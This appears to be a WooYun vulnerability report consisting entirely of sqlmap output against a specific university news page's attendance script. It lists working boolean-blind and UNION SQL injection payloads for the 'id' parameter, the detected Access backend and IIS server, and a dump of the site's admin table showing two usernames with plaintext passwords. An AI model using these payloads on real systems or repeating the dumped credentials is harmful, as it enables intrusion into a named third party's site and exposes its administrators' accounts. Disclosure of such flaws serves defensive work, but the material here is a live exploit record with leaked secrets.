WooYun.org

http://jnnews.jnu.edu.cn/qiandao/AttendList.asp?id=292 --tables

Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=183 AND 7979=7979
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-8197 UNION ALL SELECT CHR(113)&CHR(98)&CHR(106)&CHR(112)&CHR(113)&CHR(98)&CHR(101)&CHR(116)&CHR(65)&CHR(76)&CHR(104)&CHR(114)&CHR(85)&CHR(101)&CHR(77)&CHR(113)&CHR(118)&CHR(98)&CHR(122)&CHR(113),NULL,NULL FROM MSysAccessObjects%16
---
[00:22:23] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[00:22:23] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[00:22:25] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'
[00:22:25] [INFO] retrieved: 
[00:22:28] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'
[00:22:28] [ERROR] cannot retrieve table names, back-end DBMS is Access
Database: Microsoft_Access_masterdb
[1 table]
+-------+
| admin |
+-------+

Database: Microsoft_Access_masterdb
Table: admin
[4 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| data     | non-numeric |
| id       | numeric     |
| passwd   | non-numeric |
| username | non-numeric |
+----------+-------------+

Database: Microsoft_Access_masterdb
Table: admin
[2 entries]
+----+------+-------------+---------------+
| id | data | passwd      | username      |
+----+------+-------------+---------------+
| 26 | <blank> | xcb85228862 | liangbinadmin |
| 29 | <blank> | wenhuasuzhi | wehhuasuzhi   |
+----+------+-------------+---------------+